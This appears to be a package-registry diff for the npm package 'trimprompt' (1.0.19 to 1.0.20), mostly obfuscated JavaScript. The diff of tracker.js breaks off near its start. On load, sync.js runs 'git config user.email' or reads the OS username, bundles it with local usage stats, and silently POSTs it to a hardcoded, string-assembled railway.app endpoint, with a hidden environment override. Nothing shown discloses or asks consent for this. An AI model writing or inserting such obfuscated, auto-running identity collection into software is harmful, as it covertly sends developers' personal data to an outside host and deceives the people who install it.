trimprompt 1.0.19 → 1.0.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x16d53b=a0_0x3779;(function(_0x1ca3d1,_0x29a76d){const _0x2827f0=a0_0x3779,_0x54af19=_0x1ca3d1();while(!![]){try{const _0x2f02fd=parseInt(_0x2827f0(0xd6))/0x1+parseInt(_0x2827f0(0x119))/0x2*(-parseInt(_0x2827f0(0x132))/0x3)+-parseInt(_0x2827f0(0x109))/0x4+parseInt(_0x2827f0(0xdb))/0x5+-parseInt(_0x2827f0(0x121))/0x6+parseInt(_0x2827f0(0x129))/0x7*(parseInt(_0x2827f0(0x130))/0x8)+parseInt(_0x2827f0(0x117))/0x9*(parseInt(_0x2827f0(0xea))/0xa);if(_0x2f02fd===_0x29a76d)break;else _0x54af19['push'](_0x54af19['shift']());}catch(_0x1d4718){_0x54af19['push'](_0x54af19['shift']());}}}(a0_0x3a41,0xa6ea4));function a0_0x3a41(){const _0x1f44a0=['platform','model_used','https','toISOString','executions','http','81ZuQHha','protocol','698namDXC','write','application/json','readFileSync','search','raw','.raw.txt','synced','5154150pjSGId','byteLength','filter','configurable','username','timestamp','estimated_raw_tokens','tokens_saved','582197scLibt','__esModule','unlinkSync','stringify','POST','utf8','hostname','88AEFZue','daily_sync.json','6891ehLrrK','claude-3-5-sonnet','529239AELZpc','default','error','timeout','join','6397430rCwbdo','getOwnPropertyNames','last_sync_date','ai_detected','map','hasOwnProperty','ignore','writeFileSync','getTime','config.json','child_process','includes','trimp-production','https://','.up.railway.app','693960QYPIRU','trim','git\x20config\x20user.email','call','/api/telemetry','writable','prototype','userInfo','GPT-4o\x20Mini','request','slice','Gemini\x201.5\x20Flash','existsSync','homedir','push','stats.json','toString','sort','round','__setModuleDefault','Claude\x203.5\x20Sonnet','unknown','length','pipe','catch','input_price_1m','logs','get','statusCode','entries','path','4015232PaOEPv','GPT-4o','parse','Claude\x203\x20Opus','destroy','pathname','end','comp'];a0_0x3a41=function(){return _0x1f44a0;};return a0_0x3a41();}function a0_0x3779(_0x45262a,_0x584041){_0x45262a=_0x45262a-0xd5;const _0x3a41d8=a0_0x3a41();let _0x377998=_0x3a41d8[_0x45262a];return _0x377998;}var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x498828,_0x5c179c,_0xc7ea39,_0x4468ed){const _0x558b6f=a0_0x3779;if(_0x4468ed===undefined)_0x4468ed=_0xc7ea39;var _0x2fc6a8=Object['getOwnPropertyDescriptor'](_0x5c179c,_0xc7ea39);(!_0x2fc6a8||(_0x558b6f(0x105)in _0x2fc6a8?!_0x5c179c['__esModule']:_0x2fc6a8[_0x558b6f(0xef)]||_0x2fc6a8[_0x558b6f(0x124)]))&&(_0x2fc6a8={'enumerable':!![],'get':function(){return _0x5c179c[_0xc7ea39];}}),Object['defineProperty'](_0x498828,_0x4468ed,_0x2fc6a8);}:function(_0x4c5447,_0x2bb726,_0x4325ea,_0x44e0b9){if(_0x44e0b9===undefined)_0x44e0b9=_0x4325ea;_0x4c5447[_0x44e0b9]=_0x2bb726[_0x4325ea];}),__setModuleDefault=this&&this[a0_0x16d53b(0xfd)]||(Object['create']?function(_0x1a9a59,_0x48328c){const _0x36e088=a0_0x16d53b;Object['defineProperty'](_0x1a9a59,_0x36e088(0xd7),{'enumerable':!![],'value':_0x48328c});}:function(_0x24180a,_0x3e5815){_0x24180a['default']=_0x3e5815;}),__importStar=this&&this['__importStar']||(function(){var _0x3bbbf4=function(_0x28bc02){const _0x45550f=a0_0x3779;return _0x3bbbf4=Object[_0x45550f(0xdc)]||function(_0x4dcf84){const _0x14852e=_0x45550f;var _0x3c7958=[];for(var _0x198823 in _0x4dcf84)if(Object[_0x14852e(0xf0)][_0x14852e(0xe0)][_0x14852e(0xed)](_0x4dcf84,_0x198823))_0x3c7958[_0x3c7958[_0x14852e(0x100)]]=_0x198823;return _0x3c7958;},_0x3bbbf4(_0x28bc02);};return function(_0x4d2b1f){const _0x546162=a0_0x3779;if(_0x4d2b1f&&_0x4d2b1f[_0x546162(0x12a)])return _0x4d2b1f;var _0x47e1b6={};if(_0x4d2b1f!=null){for(var _0x4d0657=_0x3bbbf4(_0x4d2b1f),_0x481ffd=0x0;_0x481ffd<_0x4d0657[_0x546162(0x100)];_0x481ffd++)if(_0x4d0657[_0x481ffd]!=='default')__createBinding(_0x47e1b6,_0x4d2b1f,_0x4d0657[_0x481ffd]);}return __setModuleDefault(_0x47e1b6,_0x4d2b1f),_0x47e1b6;};}());Object['defineProperty'](exports,a0_0x16d53b(0x12a),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x16d53b(0x108))),os=__importStar(require('os')),http=__importStar(require(a0_0x16d53b(0x116))),https=__importStar(require(a0_0x16d53b(0x113))),url_1=require('url'),_cfg=[a0_0x16d53b(0xe8),a0_0x16d53b(0xe7),a0_0x16d53b(0xe9),a0_0x16d53b(0xee)][a0_0x16d53b(0xda)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x16d53b(0xfe),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x16d53b(0x10c),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x16d53b(0x10a),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x16d53b(0xf2),'input_price_1m':0.15},'gemini-1-5-pro':{'name':'Gemini\x201.5\x20Pro','input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x16d53b(0xf5),'input_price_1m':0.075}},baseDir=path[a0_0x16d53b(0xda)](os[a0_0x16d53b(0xf7)](),'.trimprompt'),configPath=path[a0_0x16d53b(0xda)](baseDir,a0_0x16d53b(0xe4)),statsPath=path['join'](baseDir,a0_0x16d53b(0xf9)),dailySyncPath=path[a0_0x16d53b(0xda)](baseDir,a0_0x16d53b(0x131));function getTodayDate(){const _0x3135bd=a0_0x16d53b;return new Date()[_0x3135bd(0x114)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x111768=a0_0x16d53b;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x5ce598}=require(_0x111768(0xe5)),_0x21cf9b=_0x5ce598(_0x111768(0xec),{'stdio':[_0x111768(0xe1),_0x111768(0x101),_0x111768(0xe1)]})[_0x111768(0xfa)]()[_0x111768(0xeb)]();if(_0x21cf9b&&_0x21cf9b[_0x111768(0xe6)]('@'))return _0x21cf9b;}catch{}try{const _0x12cdfe=os[_0x111768(0xf1)]()[_0x111768(0x125)];if(_0x12cdfe)return _0x12cdfe;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x498b35=a0_0x16d53b;try{if(!fs[_0x498b35(0xf6)](dailySyncPath))return![];const _0x10b971=JSON[_0x498b35(0x10b)](fs[_0x498b35(0x11c)](dailySyncPath,_0x498b35(0x12e)));return _0x10b971[_0x498b35(0xdd)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x3ef627=a0_0x16d53b;try{const _0x293d60={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x3ef627(0x12c)](_0x293d60,null,0x2),_0x3ef627(0x12e));}catch{}}function postTelemetry(_0x34089a,_0x115b4f){return new Promise(_0x4b0aec=>{const _0x33ddca=a0_0x3779;try{const _0x3edea8=new url_1['URL'](_0x34089a),_0xe7ea6d=JSON[_0x33ddca(0x12c)](_0x115b4f),_0x44e756={'hostname':_0x3edea8[_0x33ddca(0x12f)],'port':_0x3edea8['port']||(_0x3edea8[_0x33ddca(0x118)]==='https:'?0x1bb:0x50),'path':_0x3edea8[_0x33ddca(0x10e)]+_0x3edea8[_0x33ddca(0x11d)],'method':_0x33ddca(0x12d),'headers':{'Content-Type':_0x33ddca(0x11b),'Content-Length':Buffer[_0x33ddca(0x122)](_0xe7ea6d)},'timeout':0x1f40},_0x1f66ca=_0x3edea8[_0x33ddca(0x118)]==='https:'?https:http,_0x11e485=_0x1f66ca[_0x33ddca(0xf3)](_0x44e756,_0x2059c6=>{const _0x3858e4=_0x33ddca;_0x4b0aec(!!(_0x2059c6[_0x3858e4(0x106)]&&_0x2059c6[_0x3858e4(0x106)]>=0xc8&&_0x2059c6[_0x3858e4(0x106)]<0x12c));});_0x11e485['on'](_0x33ddca(0xd8),()=>_0x4b0aec(![])),_0x11e485['on'](_0x33ddca(0xd9),()=>{const _0x25f257=_0x33ddca;_0x11e485[_0x25f257(0x10d)](),_0x4b0aec(![]);}),_0x11e485[_0x33ddca(0x11a)](_0xe7ea6d),_0x11e485[_0x33ddca(0x10f)]();}catch{_0x4b0aec(![]);}});}function buildDailyPayload(_0x30dcc6){const _0x59a8dc=a0_0x16d53b,_0x3ee2dc=getTodayDate(),_0xe02fb=_0x30dcc6[_0x59a8dc(0x123)](_0x47b31f=>_0x47b31f[_0x59a8dc(0x126)]['startsWith'](_0x3ee2dc)),_0x25c7f2=_0xe02fb['length']>0x0?_0xe02fb:_0x30dcc6,_0x4d3bce=_0x25c7f2[_0x59a8dc(0x123)](_0x3832bd=>_0x3832bd[_0x59a8dc(0xde)]!==![]);let _0x4bf635=0x0,_0x4b24c9=0x0,_0x349824=0x0,_0x323945=0x0;const _0x57e7f4=new Set(),_0x29f211={};for(const _0x31ba1d of _0x4d3bce){_0x4bf635+=_0x31ba1d[_0x59a8dc(0x127)],_0x4b24c9+=_0x31ba1d['estimated_compressed_tokens'],_0x349824+=_0x31ba1d['tokens_saved'],_0x57e7f4['add'](_0x31ba1d[_0x59a8dc(0x112)]);const _0x5b55f3=PRICING[_0x31ba1d[_0x59a8dc(0x112)]]||PRICING[_0x59a8dc(0xd5)];_0x323945+=_0x31ba1d[_0x59a8dc(0x128)]*_0x5b55f3[_0x59a8dc(0x103)]/0xf4240;const _0x17e232=_0x31ba1d['command']||_0x59a8dc(0xff);if(!_0x29f211[_0x17e232])_0x29f211[_0x17e232]={'raw':0x0,'comp':0x0,'count':0x0};_0x29f211[_0x17e232][_0x59a8dc(0x11e)]+=_0x31ba1d[_0x59a8dc(0x127)],_0x29f211[_0x17e232][_0x59a8dc(0x110)]+=_0x31ba1d['estimated_compressed_tokens'],_0x29f211[_0x17e232]['count']+=0x1;}const _0x561cbf=Object[_0x59a8dc(0x107)](_0x29f211)[_0x59a8dc(0xdf)](([_0x3218da,_0x3b2c7e])=>({'command':_0x3218da,'percentage':_0x3b2c7e[_0x59a8dc(0x11e)]>0x0?Math[_0x59a8dc(0xfc)]((_0x3b2c7e[_0x59a8dc(0x11e)]-_0x3b2c7e[_0x59a8dc(0x110)])/_0x3b2c7e['raw']*0x64):0x0,'executions':_0x3b2c7e['count']}))[_0x59a8dc(0xfb)]((_0x5049e,_0x22f04a)=>_0x22f04a[_0x59a8dc(0x115)]-_0x5049e['executions'])[_0x59a8dc(0xf4)](0x0,0xa),_0x3a7750=_0x4d3bce[_0x4d3bce[_0x59a8dc(0x100)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x59a8dc(0x111)](),'date':_0x3ee2dc,'executions_count':_0x4d3bce['length'],'total_raw_tokens':_0x4bf635,'total_compressed_tokens':_0x4b24c9,'total_tokens_saved':_0x349824,'total_money_saved_usd':parseFloat(_0x323945['toFixed'](0x6)),'models_used':Array['from'](_0x57e7f4),'hotspots':_0x561cbf,'last_seen':_0x3a7750?_0x3a7750['timestamp']:new Date()[_0x59a8dc(0x114)]()};}async function runSync(){const _0x3778b6=a0_0x16d53b;if(!fs[_0x3778b6(0xf6)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x5a75d2;try{_0x5a75d2=JSON['parse'](fs[_0x3778b6(0x11c)](statsPath,_0x3778b6(0x12e)));}catch{return;}const _0x40fd59=_0x5a75d2[_0x3778b6(0x123)](_0x3d8c1b=>!_0x3d8c1b[_0x3778b6(0x120)]);if(_0x40fd59[_0x3778b6(0x100)]===0x0)return;const _0x4f49c3=buildDailyPayload(_0x5a75d2);await postTelemetry(_ep,_0x4f49c3);let _0xd3ce9c=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xd3ce9c&&fs[_0x3778b6(0xf6)](configPath))try{const _0x465d3d=JSON[_0x3778b6(0x10b)](fs[_0x3778b6(0x11c)](configPath,_0x3778b6(0x12e)));_0xd3ce9c=_0x465d3d['telemetry_url']||'';}catch{}_0xd3ce9c[_0x3778b6(0xeb)]()[_0x3778b6(0x100)]>0x0&&await postTelemetry(_0xd3ce9c,_0x4f49c3);for(const _0x5c0b9f of _0x5a75d2){if(!_0x5c0b9f[_0x3778b6(0x120)])_0x5c0b9f[_0x3778b6(0x120)]=!![];}try{fs[_0x3778b6(0xe2)](statsPath,JSON[_0x3778b6(0x12c)](_0x5a75d2,null,0x2),'utf8');}catch{}markSyncedToday();}function pruneOldLogs(_0x30c92e){const _0x5e4ba2=a0_0x16d53b;try{const _0x4ada9c=new Date(),_0x43f022=new Date(_0x4ada9c[_0x5e4ba2(0xe3)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x221dba=[],_0x50876a=[];for(const _0x4e8370 of _0x30c92e){const _0x396aa9=new Date(_0x4e8370['timestamp']);_0x396aa9>=_0x43f022?_0x221dba[_0x5e4ba2(0xf8)](_0x4e8370):_0x50876a['push'](_0x4e8370);}if(_0x50876a[_0x5e4ba2(0x100)]>0x0){const _0x2cbc91=path[_0x5e4ba2(0xda)](baseDir,_0x5e4ba2(0x104));for(const _0x4ba8b3 of _0x50876a){const _0x2af953=path[_0x5e4ba2(0xda)](_0x2cbc91,_0x4ba8b3['id']+_0x5e4ba2(0x11f)),_0x44680b=path['join'](_0x2cbc91,_0x4ba8b3['id']+'.comp.txt');try{if(fs[_0x5e4ba2(0xf6)](_0x2af953))fs['unlinkSync'](_0x2af953);if(fs[_0x5e4ba2(0xf6)](_0x44680b))fs[_0x5e4ba2(0x12b)](_0x44680b);}catch{}}fs[_0x5e4ba2(0xe2)](statsPath,JSON[_0x5e4ba2(0x12c)](_0x221dba,null,0x2),_0x5e4ba2(0x12e));}}catch{}}runSync()[a0_0x16d53b(0x102)](()=>{});
1
+ 'use strict';const a0_0x5906b7=a0_0x58a3;(function(_0xd276a1,_0x3d9b1c){const _0x56967e=a0_0x58a3,_0x258be2=_0xd276a1();while(!![]){try{const _0x10ffe0=-parseInt(_0x56967e(0x110))/0x1+-parseInt(_0x56967e(0x10f))/0x2+-parseInt(_0x56967e(0xce))/0x3*(-parseInt(_0x56967e(0x100))/0x4)+-parseInt(_0x56967e(0x12c))/0x5+parseInt(_0x56967e(0x122))/0x6*(-parseInt(_0x56967e(0x123))/0x7)+parseInt(_0x56967e(0x107))/0x8*(parseInt(_0x56967e(0x118))/0x9)+parseInt(_0x56967e(0xee))/0xa*(parseInt(_0x56967e(0xfa))/0xb);if(_0x10ffe0===_0x3d9b1c)break;else _0x258be2['push'](_0x258be2['shift']());}catch(_0x4c629d){_0x258be2['push'](_0x258be2['shift']());}}}(a0_0x35dc,0x854ff));function a0_0x35dc(){const _0x469b01=['slice','pipe','push','2057840kIUfVv','estimated_raw_tokens','getOwnPropertyNames','Gemini\x201.5\x20Pro','write','parse','118305ihXZnl','https://','URL','timeout','getOwnPropertyDescriptor','length','search','POST','platform','existsSync','defineProperty','round','path','sort','catch','anonymous','filter','join','readFileSync','userInfo','username','https','daily_sync.json','homedir','GPT-4o\x20Mini','startsWith','toISOString','command','__setModuleDefault','.up.railway.app','executions','includes','20VosJRQ','ignore','split','byteLength','prototype','git\x20config\x20user.email','pathname','port','comp','configurable','add','claude-3-5-sonnet','11926783hkXNlX','unlinkSync','toFixed','https:','unknown','__importStar','28OHgKkL','ai_detected','.comp.txt','from','last_sync_date','hostname','call','144424LIWiBJ','config.json','destroy','estimated_compressed_tokens','raw','application/json','error','.trimprompt','1397274USofWD','759256iBIXpA','create','model_used','writeFileSync','timestamp','logs','get','GPT-4o','72HQELlI','trimp-production','map','Claude\x203\x20Opus','synced','utf8','tokens_saved','protocol','trim','toString','1040802JOYYrJ','7BtmMIr','__esModule','getTime','count','stringify','statusCode'];a0_0x35dc=function(){return _0x469b01;};return a0_0x35dc();}var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x1e58a4,_0x2feebd,_0x1b6156,_0xfd9ab4){const _0x1b0ae9=a0_0x58a3;if(_0xfd9ab4===undefined)_0xfd9ab4=_0x1b6156;var _0x529541=Object[_0x1b0ae9(0xd2)](_0x2feebd,_0x1b6156);(!_0x529541||(_0x1b0ae9(0x116)in _0x529541?!_0x2feebd[_0x1b0ae9(0x124)]:_0x529541['writable']||_0x529541[_0x1b0ae9(0xf7)]))&&(_0x529541={'enumerable':!![],'get':function(){return _0x2feebd[_0x1b6156];}}),Object[_0x1b0ae9(0xd8)](_0x1e58a4,_0xfd9ab4,_0x529541);}:function(_0x516b20,_0x139a26,_0x5ed611,_0x1c6514){if(_0x1c6514===undefined)_0x1c6514=_0x5ed611;_0x516b20[_0x1c6514]=_0x139a26[_0x5ed611];}),__setModuleDefault=this&&this[a0_0x5906b7(0xea)]||(Object[a0_0x5906b7(0x111)]?function(_0x3b66c9,_0x3a51d4){const _0x33cc94=a0_0x5906b7;Object[_0x33cc94(0xd8)](_0x3b66c9,'default',{'enumerable':!![],'value':_0x3a51d4});}:function(_0x16fff5,_0x32fa3e){_0x16fff5['default']=_0x32fa3e;}),__importStar=this&&this[a0_0x5906b7(0xff)]||(function(){var _0x16fe12=function(_0xdcbdae){const _0x19c5cf=a0_0x58a3;return _0x16fe12=Object[_0x19c5cf(0xca)]||function(_0x58a102){const _0x1a3eb0=_0x19c5cf;var _0x38d6b1=[];for(var _0x3b6d5 in _0x58a102)if(Object[_0x1a3eb0(0xf2)]['hasOwnProperty'][_0x1a3eb0(0x106)](_0x58a102,_0x3b6d5))_0x38d6b1[_0x38d6b1[_0x1a3eb0(0xd3)]]=_0x3b6d5;return _0x38d6b1;},_0x16fe12(_0xdcbdae);};return function(_0x5c6aff){const _0x2052e3=a0_0x58a3;if(_0x5c6aff&&_0x5c6aff[_0x2052e3(0x124)])return _0x5c6aff;var _0xbb4c9b={};if(_0x5c6aff!=null){for(var _0x4e7326=_0x16fe12(_0x5c6aff),_0x1d8693=0x0;_0x1d8693<_0x4e7326['length'];_0x1d8693++)if(_0x4e7326[_0x1d8693]!=='default')__createBinding(_0xbb4c9b,_0x5c6aff,_0x4e7326[_0x1d8693]);}return __setModuleDefault(_0xbb4c9b,_0x5c6aff),_0xbb4c9b;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5906b7(0xda))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x5906b7(0xe3))),url_1=require('url'),_cfg=[a0_0x5906b7(0xcf),a0_0x5906b7(0x119),a0_0x5906b7(0xeb),'/api/telemetry']['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5906b7(0x11b),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5906b7(0x117),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5906b7(0xe6),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5906b7(0xcb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os[a0_0x5906b7(0xe5)](),a0_0x5906b7(0x10e)),configPath=path['join'](baseDir,a0_0x5906b7(0x108)),statsPath=path[a0_0x5906b7(0xdf)](baseDir,'stats.json'),dailySyncPath=path[a0_0x5906b7(0xdf)](baseDir,a0_0x5906b7(0xe4));function a0_0x58a3(_0x2acd85,_0x5f5815){_0x2acd85=_0x2acd85-0xca;const _0x35dcef=a0_0x35dc();let _0x58a3f0=_0x35dcef[_0x2acd85];return _0x58a3f0;}function getTodayDate(){const _0x509e70=a0_0x5906b7;return new Date()[_0x509e70(0xe8)]()[_0x509e70(0xf0)]('T')[0x0];}function getDeveloperIdentity(){const _0x251cb2=a0_0x5906b7;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x30f8e8}=require('child_process'),_0x356fca=_0x30f8e8(_0x251cb2(0xf3),{'stdio':[_0x251cb2(0xef),_0x251cb2(0x12a),'ignore']})[_0x251cb2(0x121)]()[_0x251cb2(0x120)]();if(_0x356fca&&_0x356fca[_0x251cb2(0xed)]('@'))return _0x356fca;}catch{}try{const _0x23de4b=os[_0x251cb2(0xe1)]()[_0x251cb2(0xe2)];if(_0x23de4b)return _0x23de4b;}catch{}return _0x251cb2(0xdd);}function hasAlreadySyncedToday(){const _0x5c3cbd=a0_0x5906b7;try{if(!fs[_0x5c3cbd(0xd7)](dailySyncPath))return![];const _0x1f42a8=JSON[_0x5c3cbd(0xcd)](fs[_0x5c3cbd(0xe0)](dailySyncPath,_0x5c3cbd(0x11d)));return _0x1f42a8[_0x5c3cbd(0x104)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x364593=a0_0x5906b7;try{const _0x7a6c4c={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x364593(0x127)](_0x7a6c4c,null,0x2),_0x364593(0x11d));}catch{}}function postTelemetry(_0x2bc921,_0x48f696){return new Promise(_0x103d0b=>{const _0x21d47c=a0_0x58a3;try{const _0x47c1dc=new url_1[(_0x21d47c(0xd0))](_0x2bc921),_0x40c311=JSON['stringify'](_0x48f696),_0x752b1d={'hostname':_0x47c1dc[_0x21d47c(0x105)],'port':_0x47c1dc[_0x21d47c(0xf5)]||(_0x47c1dc['protocol']==='https:'?0x1bb:0x50),'path':_0x47c1dc[_0x21d47c(0xf4)]+_0x47c1dc[_0x21d47c(0xd4)],'method':_0x21d47c(0xd5),'headers':{'Content-Type':_0x21d47c(0x10c),'Content-Length':Buffer[_0x21d47c(0xf1)](_0x40c311)},'timeout':0x1f40},_0x1eb4cc=_0x47c1dc[_0x21d47c(0x11f)]===_0x21d47c(0xfd)?https:http,_0x49aa2c=_0x1eb4cc['request'](_0x752b1d,_0x3524b6=>{const _0x2f3b4c=_0x21d47c;_0x103d0b(!!(_0x3524b6[_0x2f3b4c(0x128)]&&_0x3524b6[_0x2f3b4c(0x128)]>=0xc8&&_0x3524b6[_0x2f3b4c(0x128)]<0x12c));});_0x49aa2c['on'](_0x21d47c(0x10d),()=>_0x103d0b(![])),_0x49aa2c['on'](_0x21d47c(0xd1),()=>{const _0x2ce147=_0x21d47c;_0x49aa2c[_0x2ce147(0x109)](),_0x103d0b(![]);}),_0x49aa2c[_0x21d47c(0xcc)](_0x40c311),_0x49aa2c['end']();}catch{_0x103d0b(![]);}});}function buildDailyPayload(_0x4b54be){const _0x48b75d=a0_0x5906b7,_0x1ff15d=getTodayDate(),_0x1cae29=_0x4b54be[_0x48b75d(0xde)](_0x156f5d=>_0x156f5d[_0x48b75d(0x114)][_0x48b75d(0xe7)](_0x1ff15d)),_0x47c27e=_0x1cae29[_0x48b75d(0xd3)]>0x0?_0x1cae29:_0x4b54be,_0x4b5968=_0x47c27e['filter'](_0x5ac005=>_0x5ac005[_0x48b75d(0x101)]!==![]);let _0x4bbc2e=0x0,_0x21da0f=0x0,_0x2fe930=0x0,_0x390bc0=0x0;const _0x15e2d1=new Set(),_0x4625ba={};for(const _0x9dfad0 of _0x4b5968){_0x4bbc2e+=_0x9dfad0[_0x48b75d(0x12d)],_0x21da0f+=_0x9dfad0[_0x48b75d(0x10a)],_0x2fe930+=_0x9dfad0[_0x48b75d(0x11e)],_0x15e2d1[_0x48b75d(0xf8)](_0x9dfad0[_0x48b75d(0x112)]);const _0x2aaad7=PRICING[_0x9dfad0[_0x48b75d(0x112)]]||PRICING[_0x48b75d(0xf9)];_0x390bc0+=_0x9dfad0[_0x48b75d(0x11e)]*_0x2aaad7['input_price_1m']/0xf4240;const _0x1ecd1=_0x9dfad0[_0x48b75d(0xe9)]||_0x48b75d(0xfe);if(!_0x4625ba[_0x1ecd1])_0x4625ba[_0x1ecd1]={'raw':0x0,'comp':0x0,'count':0x0};_0x4625ba[_0x1ecd1][_0x48b75d(0x10b)]+=_0x9dfad0[_0x48b75d(0x12d)],_0x4625ba[_0x1ecd1][_0x48b75d(0xf6)]+=_0x9dfad0[_0x48b75d(0x10a)],_0x4625ba[_0x1ecd1][_0x48b75d(0x126)]+=0x1;}const _0x40609e=Object['entries'](_0x4625ba)[_0x48b75d(0x11a)](([_0x15fd3b,_0xd45492])=>({'command':_0x15fd3b,'percentage':_0xd45492['raw']>0x0?Math[_0x48b75d(0xd9)]((_0xd45492[_0x48b75d(0x10b)]-_0xd45492['comp'])/_0xd45492['raw']*0x64):0x0,'executions':_0xd45492[_0x48b75d(0x126)]}))[_0x48b75d(0xdb)]((_0x330519,_0x3419ce)=>_0x3419ce[_0x48b75d(0xec)]-_0x330519[_0x48b75d(0xec)])[_0x48b75d(0x129)](0x0,0xa),_0x97f9d1=_0x4b5968[_0x4b5968[_0x48b75d(0xd3)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x48b75d(0xd6)](),'date':_0x1ff15d,'executions_count':_0x4b5968[_0x48b75d(0xd3)],'total_raw_tokens':_0x4bbc2e,'total_compressed_tokens':_0x21da0f,'total_tokens_saved':_0x2fe930,'total_money_saved_usd':parseFloat(_0x390bc0[_0x48b75d(0xfc)](0x6)),'models_used':Array[_0x48b75d(0x103)](_0x15e2d1),'hotspots':_0x40609e,'last_seen':_0x97f9d1?_0x97f9d1[_0x48b75d(0x114)]:new Date()[_0x48b75d(0xe8)]()};}async function runSync(){const _0x28ad42=a0_0x5906b7;if(!fs[_0x28ad42(0xd7)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x11f4b5;try{_0x11f4b5=JSON[_0x28ad42(0xcd)](fs[_0x28ad42(0xe0)](statsPath,_0x28ad42(0x11d)));}catch{return;}const _0x56ebb2=_0x11f4b5['filter'](_0x334e05=>!_0x334e05['synced']);if(_0x56ebb2[_0x28ad42(0xd3)]===0x0)return;const _0x24cf4c=buildDailyPayload(_0x11f4b5);await postTelemetry(_ep,_0x24cf4c);let _0x4e09a7=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4e09a7&&fs['existsSync'](configPath))try{const _0x7c0930=JSON[_0x28ad42(0xcd)](fs[_0x28ad42(0xe0)](configPath,_0x28ad42(0x11d)));_0x4e09a7=_0x7c0930['telemetry_url']||'';}catch{}_0x4e09a7[_0x28ad42(0x120)]()['length']>0x0&&await postTelemetry(_0x4e09a7,_0x24cf4c);for(const _0x50fcbd of _0x11f4b5){if(!_0x50fcbd['synced'])_0x50fcbd[_0x28ad42(0x11c)]=!![];}try{fs[_0x28ad42(0x113)](statsPath,JSON[_0x28ad42(0x127)](_0x11f4b5,null,0x2),_0x28ad42(0x11d));}catch{}markSyncedToday();}function pruneOldLogs(_0x427176){const _0x2923dc=a0_0x5906b7;try{const _0x391c80=new Date(),_0x12c36a=new Date(_0x391c80[_0x2923dc(0x125)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x4fc220=[],_0x26515c=[];for(const _0x3ef1c7 of _0x427176){const _0x45d460=new Date(_0x3ef1c7[_0x2923dc(0x114)]);_0x45d460>=_0x12c36a?_0x4fc220[_0x2923dc(0x12b)](_0x3ef1c7):_0x26515c[_0x2923dc(0x12b)](_0x3ef1c7);}if(_0x26515c['length']>0x0){const _0x5673be=path[_0x2923dc(0xdf)](baseDir,_0x2923dc(0x115));for(const _0x33227b of _0x26515c){const _0x342001=path[_0x2923dc(0xdf)](_0x5673be,_0x33227b['id']+'.raw.txt'),_0x4ab026=path[_0x2923dc(0xdf)](_0x5673be,_0x33227b['id']+_0x2923dc(0x102));try{if(fs[_0x2923dc(0xd7)](_0x342001))fs[_0x2923dc(0xfb)](_0x342001);if(fs[_0x2923dc(0xd7)](_0x4ab026))fs[_0x2923dc(0xfb)](_0x4ab026);}catch{}}fs[_0x2923dc(0x113)](statsPath,JSON['stringify'](_0x4fc220,null,0x2),_0x2923dc(0x11d));}}catch{}}runSync()[a0_0x5906b7(0xdc)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x43a982=a0_0x5c9b;(function(_0x1288b0,_0x2da862){const _0x8265cf=a0_0x5c9b,_0x4c7e5c=_0x1288b0();while(!![]){try{const _0x560d1f=parseInt(_0x8265cf(0x1b2))/0x1+parseInt(_0x8265cf(0x1cc))/0x2*(-parseInt(_0x8265cf(0x1f3))/0x3)+-parseInt(_0x8265cf(0x199))/0x4*(-parseInt(_0x8265cf(0x1a8))/0x5)+-parseInt(_0x8265cf(0x1e3))/0x6*(-parseInt(_0x8265cf(0x1af))/0x7)+-parseInt(_0x8265cf(0x1e9))/0x8+-parseInt(_0x8265cf(0x187))/0x9+parseInt(_0x8265cf(0x1a5))/0xa*(parseInt(_0x8265cf(0x1f5))/0xb);if(_0x560d1f===_0x2da862)break;else _0x4c7e5c['push'](_0x4c7e5c['shift']());}catch(_0x119459){_0x4c7e5c['push'](_0x4c7e5c['shift']());}}}(a0_0x4f03,0x5e36e));function a0_0x5c9b(_0x3e3ef9,_0x3752d1){_0x3e3ef9=_0x3e3ef9-0x175;const _0x4f03cb=a0_0x4f03();let _0x5c9b39=_0x4f03cb[_0x3e3ef9];return _0x5c9b39;}var __createBinding=this&&this[a0_0x43a982(0x1fc)]||(Object[a0_0x43a982(0x1c8)]?function(_0x582665,_0x263f85,_0x2849e0,_0x4809b0){const 